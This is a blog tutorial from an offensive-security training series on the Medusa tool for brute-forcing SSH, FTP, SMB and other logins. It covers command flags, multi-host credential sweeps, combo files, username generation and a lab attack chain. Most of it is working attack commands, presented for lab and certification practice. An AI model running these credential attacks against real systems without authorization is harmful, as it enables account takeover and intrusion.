top of page

Medusa: Parallel Network Login Attacks Done Right


Series: The Community's Red Team

Post: 08 of 17

Tags: medusa, brute force, ftp, ssh, parallel attacks, password attacks, tools

Read time: ~9 min

Prerequisites: Post 07 — Hydra (understand the brute force concepts first)


Hydra and Medusa solve the same problem: trying a list of credentials against a network service. If you already read Post 07, you might be wondering why you need another brute force tool. The answer is that they're complementary, not redundant — each has cases where it works better than the other, and knowing which to reach for saves you from troubleshooting the wrong tool.

The short version: Hydra is better for HTTP form attacks and one-off targeted brute forcing. Medusa is better for parallel multi-host attacks, FTP (especially internal FTP), and situations where Hydra's threading model causes connection failures on specific services.

This post covers Medusa's workflow, its module system, and the specific scenarios where it's the right call.


Hydra vs Medusa — When to Use Which

Situation

Tool

HTTP basic auth / login form

Hydra

SSH brute force

Either (Hydra slightly more common)

FTP — especially internal/localhost

Medusa

RDP

Hydra

WinRM / SMB

CrackMapExec (Post 06)

Multi-host parallel attack from one command

Medusa

Service dropping connections under load

Medusa (more stable threading)

Combo file (user:pass pairs)

Medusa

The overlap is real — either tool will work for most cases. If one is giving you trouble, try the other.


Core Syntax

Medusa's flag structure is clean and consistent:

medusa -h <target> -u <user> -P <wordlist> -M <module>

Flag

What it does

-h

Target host

-H

File of target hosts

-u

Single username

-U

Username list file

-p

Single password

-P

Password list file

-C

Combo file (user:pass per line)

-M

Module (service to attack)

-n

Non-default port

-t

Parallel threads per host

-T

Parallel hosts to attack simultaneously

-f

Stop after first valid credential found

-F

Stop globally after first valid credential (any host)

-b

Don't display banner

-q

Quiet mode

-v

Verbosity level

The most useful output filter — Medusa produces a lot of noise. Pipe through grep to see only the hits:

medusa ... | grep "ACCOUNT FOUND"

SSH

medusa -h <target> -u <user> -P /usr/share/wordlists/rockyou.txt -M ssh

With a specific port:

medusa -h <target> -n 2222 -u <user> -P passwords.txt -M ssh -t 3

-t 3 limits threads per host for SSH — same reasoning as Hydra's -t 4. SSH doesn't handle aggressive parallel connections well.

With a username list:

medusa -h <target> -U users.txt -P passwords.txt -M ssh -t 3

FTP — The Main Use Case

FTP is where Medusa often outperforms Hydra in practice, particularly for the common scenario of an internal FTP service only listening on localhost. This comes up constantly in HTB and real environments — you SSH into a box, discover there's an FTP service running internally, and need to brute force credentials on it without being able to reach it from your attack machine.

External FTP

medusa -h <target> -u <user> -P /usr/share/wordlists/rockyou.txt -M ftp -t 5

Internal FTP (from inside an SSH session)

This is the scenario. You're already on a machine via SSH, you ran nmap localhost and found FTP on port 21. Run Medusa from that SSH session against localhost:

medusa -h 127.0.0.1 -u <user> -P passwords.txt -M ftp -t 5

Or with a username list when you don't know the username:

medusa -h 127.0.0.1 -U usernames.txt -P passwords.txt -M ftp -t 5 | grep "ACCOUNT FOUND"

The | grep "ACCOUNT FOUND" is important here because FTP produces a lot of connection noise. Without it you're reading through hundreds of failed attempts looking for the one that worked.

Special characters in passwords

If you find the password contains special characters and you're connecting manually afterward, escape them in the FTP URL:

ftp ftp://<user>:chocolate\!@localhost    # ! escaped with backslash

Multi-Host Parallel Attacks

This is Medusa's strongest differentiator over Hydra. You have a list of hosts and want to test a credential against all of them simultaneously:

medusa -H hosts.txt -u administrator -p 'Password1' -M smb -T 10

-T 10 runs attacks against 10 hosts at the same time. -T (uppercase, parallel hosts) is different from -t (lowercase, threads per host). Combine them for speed:

medusa -H hosts.txt -U users.txt -P passwords.txt -M ssh -t 3 -T 10

This tests the full user/password matrix against 10 hosts simultaneously, 3 threads per host. For a subnet-wide credential validation sweep, this is faster than running Hydra in a loop.


Combo Files

A combo file contains username:password pairs, one per line:

admin:admin
admin:password
root:toor
administrator:Password1
medusa -h <target> -C combo.txt -M ssh

Useful when you have a specific set of known credential pairs — for example, a list of default credentials for a particular device or application — rather than a full cross-product of usernames and passwords.


Building Username Lists with Username-Anarchy

This comes up in CTF scenarios where you know a person's real name but not their login username. There's a tool specifically for generating possible username formats from a full name:

git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy "Thomas Smith" > thomas_smith.txt

This generates every common username format: tsmith, thomas.smith, t.smith, smitht, thomas_smith, and many more. Feed that directly into Medusa:

medusa -h <target> -U thomas_smith.txt -P passwords.txt -M ssh -t 3 | grep "ACCOUNT FOUND"

This pattern shows up in the CPTS skills assessments repeatedly: you gain SSH access as one user, find a file revealing another person's real name, discover an internal FTP service, and need to brute force it with a generated username list.


Available Modules

Medusa's module list covers most common network services:

medusa -d    # list all available modules

The ones you'll actually use:

ssh       — SSH
ftp       — FTP  
http      — HTTP basic auth (GET)
http-form — HTTP login form (POST)
rdp       — Remote Desktop
smb       — SMB/Windows shares
mssql     — Microsoft SQL Server
mysql     — MySQL
postgres  — PostgreSQL
smtp      — SMTP
pop3      — POP3
imap      — IMAP
vnc       — VNC
snmp      — SNMP community strings
telnet    — Telnet

Filtering Wordlists by Password Policy

If Enum4linux gave you a password policy, filter your wordlist before running Medusa. There's no point trying passwords that can't possibly match the policy:

# Policy: min 8 chars, requires uppercase, lowercase, and number
grep -E '^.{8,}$' rockyou.txt | \
  grep -E '[A-Z]' | \
  grep -E '[a-z]' | \
  grep -E '[0-9]' > policy_filtered.txt

medusa -h <target> -u <user> -P policy_filtered.txt -M ssh -t 3

Cutting a 14M wordlist down to 2M passwords that actually match the policy is the difference between a 3-hour run and a 30-minute run.


A Complete Attack Chain Example

This pattern comes directly from real CPTS lab scenarios. It's worth seeing the full flow end to end:

1. Nmap shows SSH (port 22) and nothing else externally
2. Hydra brute forces SSH with a given username and password list
3. SSH in with found credentials
4. ls — find: IncidentReport.txt, passwords.txt, username-anarchy tool
5. cat IncidentReport.txt — reveals a real name: "Thomas Smith"
6. nmap localhost — finds FTP on port 21 (internal only)
7. Generate username formats: ./username-anarchy "Thomas Smith" > users.txt
8. Medusa against internal FTP:
   medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ftp -t 5 | grep "ACCOUNT FOUND"
9. Connect: ftp ftp://<found_user>:<found_pass>@localhost
10. get flag.txt

Each tool in this chain is doing the job it's best at. Hydra for the external SSH attack. Medusa for the internal FTP brute force with an unknown username.


Common Fixes

"cannot connect" to FTP:FTP is listening on localhost only. You need to be on the machine already. SSH in first.

All attempts failing immediately:Check the module name and port. FTP on a non-standard port needs -n <port>. Confirm the service is actually running: nmap localhost.

Output is unreadable:Pipe to grep "ACCOUNT FOUND". Medusa's verbose output is noisy by design.

Username not known:Use username-anarchy to generate formats from a real name, or use cat /etc/passwd | grep -v nologin | grep -v false on a Linux target to see valid users.

Special characters in passwords break the FTP connection:Escape them with backslash in the connection URL: ftp://user:pass\!@localhost


Quick Reference

# SSH
medusa -h <target> -u <user> -P rockyou.txt -M ssh -t 3

# FTP external
medusa -h <target> -u <user> -P passwords.txt -M ftp -t 5

# FTP internal (from SSH session)
medusa -h 127.0.0.1 -u <user> -P passwords.txt -M ftp -t 5

# FTP with username list (clean output)
medusa -h 127.0.0.1 -U users.txt -P passwords.txt -M ftp -t 5 | grep "ACCOUNT FOUND"

# Non-standard port
medusa -h <target> -n 2121 -u <user> -P passwords.txt -M ftp

# Multi-host attack
medusa -H hosts.txt -u administrator -p 'Password1' -M smb -T 10

# Combo file
medusa -h <target> -C combo.txt -M ssh

# Stop on first hit
medusa -h <target> -u <user> -P passwords.txt -M ssh -f

# Generate usernames from real name
./username-anarchy "First Last" > usernames.txt
medusa -h <target> -U usernames.txt -P passwords.txt -M ssh -t 3 | grep "ACCOUNT FOUND"

# List all available modules
medusa -d


What's Next

Medusa and Hydra cover live network services. The next two posts shift to offline credential attacks where you already have a hash and need to crack it without making any network connections.

Post 09 (Hashcat) covers GPU-accelerated hash cracking — NTLM hashes from Windows, Linux shadow file hashes, NTLMv2 from Responder captures, and Kerberoast TGS tickets. Post 10 (John the Ripper) covers the cases Hashcat doesn't handle well: password-protected files, SSH private keys, zip archives, and PDFs.

MeshForge — Training the Community's Red Team

They count on your ignorance. The exploit only works on the uninformed.

 
 
 

Comments


bottom of page